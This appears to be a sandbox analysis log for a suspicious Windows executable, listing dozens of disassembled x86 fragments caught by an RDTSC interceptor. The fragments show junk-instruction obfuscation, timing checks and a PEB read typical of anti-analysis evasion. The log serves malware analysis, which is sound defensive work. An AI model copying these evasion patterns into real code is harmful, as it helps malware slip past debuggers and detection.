Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 1071D6B second address: 1071DA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+1244C750h], eax 0x00000010 mov dl, 9Eh 0x00000012 push dword ptr [ebp+122D1C02h] 0x00000018 jp 00007FF9A052A48Ch 0x0000001e mov dword ptr [ebp+122D24DFh], eax 0x00000024 add edx, dword ptr [ebp+122D366Dh] 0x0000002a push 2BD5AFFDh 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 js 00007FF9A052A486h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 107327A second address: 1073286 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 1073286 second address: 107329F instructions: 0x00000000 rdtsc 0x00000002 js 00007FF9A052A486h 0x00000008 jmp 00007FF9A052A48Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 107329F second address: 10732CF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007FF9A1392266h 0x00000009 jns 00007FF9A1392266h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF9A1392272h 0x00000019 jmp 00007FF9A139226Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 10732CF second address: 10732D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 10732D7 second address: 10732DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 1075436 second address: 107543A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 107543A second address: 1075461 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jg 00007FF9A1392266h 0x0000000f pop esi 0x00000010 pushad 0x00000011 jmp 00007FF9A1392274h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736001B second address: 7360058 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF9A052A48Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF9A052A48Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360058 second address: 73600D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF9A1392271h 0x00000009 sbb al, FFFFFFA6h 0x0000000c jmp 00007FF9A1392271h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FF9A1392270h 0x00000018 jmp 00007FF9A1392275h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 xchg eax, ebp 0x00000022 jmp 00007FF9A139226Eh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FF9A1392277h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73600D6 second address: 736013E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FF9A052A48Ch 0x00000016 and ax, 4568h 0x0000001b jmp 00007FF9A052A48Bh 0x00000020 popfd 0x00000021 push eax 0x00000022 mov si, di 0x00000025 pop edi 0x00000026 popad 0x00000027 sub esp, 18h 0x0000002a jmp 00007FF9A052A48Eh 0x0000002f xchg eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FF9A052A48Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736013E second address: 736014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A139226Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736014D second address: 736019C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 192B0341h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF9A052A48Dh 0x00000013 xor esi, 3D2CCF96h 0x00000019 jmp 00007FF9A052A491h 0x0000001e popfd 0x0000001f mov ah, 24h 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FF9A052A496h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736019C second address: 7360253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FF9A1392277h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebx, dword ptr [eax+10h] 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FF9A1392275h 0x00000018 and al, FFFFFFB6h 0x0000001b jmp 00007FF9A1392271h 0x00000020 popfd 0x00000021 jmp 00007FF9A1392270h 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 jmp 00007FF9A1392270h 0x0000002d push eax 0x0000002e jmp 00007FF9A139226Bh 0x00000033 xchg eax, esi 0x00000034 jmp 00007FF9A1392276h 0x00000039 mov esi, dword ptr [74E806ECh] 0x0000003f jmp 00007FF9A1392270h 0x00000044 test esi, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov al, bh 0x0000004b mov eax, 408E41E5h 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360253 second address: 736027A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FF9A052B069h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF9A052A494h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736027A second address: 73602BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 531933D4h 0x00000008 pushfd 0x00000009 jmp 00007FF9A139226Dh 0x0000000e xor al, FFFFFF96h 0x00000011 jmp 00007FF9A1392271h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b jmp 00007FF9A139226Eh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73602BE second address: 73602DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A498h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73602DA second address: 73602E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73602E0 second address: 7360302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FF9A052A492h 0x00000011 pop ecx 0x00000012 push ebx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360302 second address: 7360379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call dword ptr [74E50B60h] 0x00000010 mov eax, 750BE5E0h 0x00000015 ret 0x00000016 pushad 0x00000017 mov dx, cx 0x0000001a jmp 00007FF9A139226Ah 0x0000001f popad 0x00000020 push 00000044h 0x00000022 pushad 0x00000023 mov ax, 9F6Dh 0x00000027 pushfd 0x00000028 jmp 00007FF9A139226Ah 0x0000002d or al, 00000008h 0x00000030 jmp 00007FF9A139226Bh 0x00000035 popfd 0x00000036 popad 0x00000037 pop edi 0x00000038 pushad 0x00000039 pushad 0x0000003a pushad 0x0000003b popad 0x0000003c mov ebx, 00113F02h 0x00000041 popad 0x00000042 popad 0x00000043 push esp 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov dh, 34h 0x00000049 pushfd 0x0000004a jmp 00007FF9A139226Ch 0x0000004f jmp 00007FF9A1392275h 0x00000054 popfd 0x00000055 popad 0x00000056 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360379 second address: 7360389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A052A48Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360595 second address: 736059F instructions: 0x00000000 rdtsc 0x00000002 movsx ebx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736059F second address: 73605B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [ebx+54h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF9A052A48Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73605B6 second address: 73605BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73605BC second address: 736061C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+18h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF9A052A48Eh 0x00000013 adc al, FFFFFFC8h 0x00000016 jmp 00007FF9A052A48Bh 0x0000001b popfd 0x0000001c movzx ecx, dx 0x0000001f popad 0x00000020 mov eax, dword ptr [ebx+58h] 0x00000023 jmp 00007FF9A052A48Bh 0x00000028 mov dword ptr [esi+1Ch], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FF9A052A495h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736061C second address: 73606A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF9A1392277h 0x00000009 add cl, 0000001Eh 0x0000000c jmp 00007FF9A1392279h 0x00000011 popfd 0x00000012 jmp 00007FF9A1392270h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [ebx+5Ch] 0x0000001d jmp 00007FF9A1392270h 0x00000022 mov dword ptr [esi+20h], eax 0x00000025 jmp 00007FF9A1392270h 0x0000002a mov eax, dword ptr [ebx+60h] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FF9A1392277h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73606A9 second address: 73606E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+24h], eax 0x0000000c pushad 0x0000000d jmp 00007FF9A052A48Ch 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 mov eax, dword ptr [ebx+64h] 0x00000019 pushad 0x0000001a pushad 0x0000001b mov si, bx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73606E4 second address: 7360723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 mov esi, edx 0x00000008 mov dl, 58h 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esi+28h], eax 0x0000000f jmp 00007FF9A1392274h 0x00000014 mov eax, dword ptr [ebx+68h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF9A1392277h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360723 second address: 7360729 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360729 second address: 736074D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+2Ch], eax 0x0000000b pushad 0x0000000c mov bl, 85h 0x0000000e movzx ecx, di 0x00000011 popad 0x00000012 mov ax, word ptr [ebx+6Ch] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF9A139226Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736074D second address: 73607ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov al, dl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov word ptr [esi+30h], ax 0x0000000e pushad 0x0000000f push esi 0x00000010 movsx ebx, ax 0x00000013 pop eax 0x00000014 popad 0x00000015 mov ax, word ptr [ebx+00000088h] 0x0000001c pushad 0x0000001d mov eax, edx 0x0000001f pushfd 0x00000020 jmp 00007FF9A052A497h 0x00000025 xor ah, 0000002Eh 0x00000028 jmp 00007FF9A052A499h 0x0000002d popfd 0x0000002e popad 0x0000002f mov word ptr [esi+32h], ax 0x00000033 jmp 00007FF9A052A48Eh 0x00000038 mov eax, dword ptr [ebx+0000008Ch] 0x0000003e jmp 00007FF9A052A490h 0x00000043 mov dword ptr [esi+34h], eax 0x00000046 pushad 0x00000047 pushad 0x00000048 pushfd 0x00000049 jmp 00007FF9A052A48Ch 0x0000004e or ah, 00000008h 0x00000051 jmp 00007FF9A052A48Bh 0x00000056 popfd 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73607ED second address: 736081A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dx, ax 0x00000008 popad 0x00000009 mov eax, dword ptr [ebx+18h] 0x0000000c jmp 00007FF9A1392270h 0x00000011 mov dword ptr [esi+38h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF9A139226Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736081A second address: 736081E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736081E second address: 7360824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360824 second address: 7360865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A48Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c jmp 00007FF9A052A490h 0x00000011 mov dword ptr [esi+3Ch], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF9A052A497h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360865 second address: 73608A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, 45E14F58h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [ebx+20h] 0x00000010 jmp 00007FF9A1392277h 0x00000015 mov dword ptr [esi+40h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF9A1392275h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73608A6 second address: 7360920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+00000080h] 0x0000000f jmp 00007FF9A052A48Eh 0x00000014 push 00000001h 0x00000016 jmp 00007FF9A052A490h 0x0000001b nop 0x0000001c jmp 00007FF9A052A490h 0x00000021 push eax 0x00000022 jmp 00007FF9A052A48Bh 0x00000027 nop 0x00000028 jmp 00007FF9A052A496h 0x0000002d lea eax, dword ptr [ebp-10h] 0x00000030 pushad 0x00000031 mov ax, 20DDh 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360920 second address: 7360963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007FF9A1392272h 0x0000000c push eax 0x0000000d jmp 00007FF9A139226Bh 0x00000012 nop 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edi 0x00000017 pop esi 0x00000018 jmp 00007FF9A1392277h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360963 second address: 7360969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360969 second address: 736096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736096D second address: 7360971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 736099C second address: 73609A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73609A0 second address: 73609A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 73609A6 second address: 7360A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 pushfd 0x00000006 jmp 00007FF9A1392276h 0x0000000b jmp 00007FF9A1392275h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 mov edi, eax 0x00000016 jmp 00007FF9A139226Eh 0x0000001b test edi, edi 0x0000001d jmp 00007FF9A1392270h 0x00000022 js 00007FFA0EE30F2Ch 0x00000028 pushad 0x00000029 mov ax, 561Dh 0x0000002d mov bx, ax 0x00000030 popad 0x00000031 mov eax, dword ptr [ebp-0Ch] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 mov edi, ecx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360A15 second address: 7360AFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A499h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c jmp 00007FF9A052A48Eh 0x00000011 lea eax, dword ptr [ebx+78h] 0x00000014 jmp 00007FF9A052A490h 0x00000019 push 00000001h 0x0000001b jmp 00007FF9A052A490h 0x00000020 nop 0x00000021 jmp 00007FF9A052A490h 0x00000026 push eax 0x00000027 pushad 0x00000028 push edx 0x00000029 push eax 0x0000002a pop ebx 0x0000002b pop ecx 0x0000002c mov cx, bx 0x0000002f popad 0x00000030 nop 0x00000031 jmp 00007FF9A052A48Bh 0x00000036 lea eax, dword ptr [ebp-08h] 0x00000039 pushad 0x0000003a movzx ecx, dx 0x0000003d mov dh, EEh 0x0000003f popad 0x00000040 nop 0x00000041 pushad 0x00000042 movzx ecx, bx 0x00000045 jmp 00007FF9A052A48Bh 0x0000004a popad 0x0000004b push eax 0x0000004c pushad 0x0000004d call 00007FF9A052A48Fh 0x00000052 mov dx, cx 0x00000055 pop ecx 0x00000056 mov cx, bx 0x00000059 popad 0x0000005a nop 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e pushfd 0x0000005f jmp 00007FF9A052A493h 0x00000064 sub ecx, 162160CEh 0x0000006a jmp 00007FF9A052A499h 0x0000006f popfd 0x00000070 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360B9C second address: 7360BA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360BA2 second address: 7360BA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360BA6 second address: 7360BDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A139226Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebx+70h] 0x0000000e pushad 0x0000000f movzx esi, bx 0x00000012 mov ebx, 08FC31A4h 0x00000017 popad 0x00000018 push 00000001h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF9A1392276h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360BDE second address: 7360BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360BE4 second address: 7360C34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A139226Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f mov ch, 93h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 mov edi, esi 0x00000016 push ecx 0x00000017 push ebx 0x00000018 pop eax 0x00000019 pop edx 0x0000001a popad 0x0000001b nop 0x0000001c jmp 00007FF9A1392272h 0x00000021 lea eax, dword ptr [ebp-18h] 0x00000024 jmp 00007FF9A1392270h 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360C34 second address: 7360C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360C38 second address: 7360C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360C3C second address: 7360C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360C42 second address: 7360C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360C48 second address: 7360C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360C4C second address: 7360C50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360CBD second address: 7360CFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A491h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edi, edi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF9A052A48Ch 0x00000012 sbb eax, 27C840F8h 0x00000018 jmp 00007FF9A052A48Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 mov ax, 35C5h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360CFA second address: 7360D36 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FF9A1392272h 0x00000008 jmp 00007FF9A1392275h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 js 00007FFA0EE30BEDh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c mov eax, edi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360D36 second address: 7360D3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360D3C second address: 7360D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp-14h] 0x0000000b pushad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 7360D4B second address: 7360D7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 mov ecx, esi 0x0000000a jmp 00007FF9A052A48Ah 0x0000000f mov dword ptr [esi+0Ch], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF9A052A497h 0x00000019 rdtsc
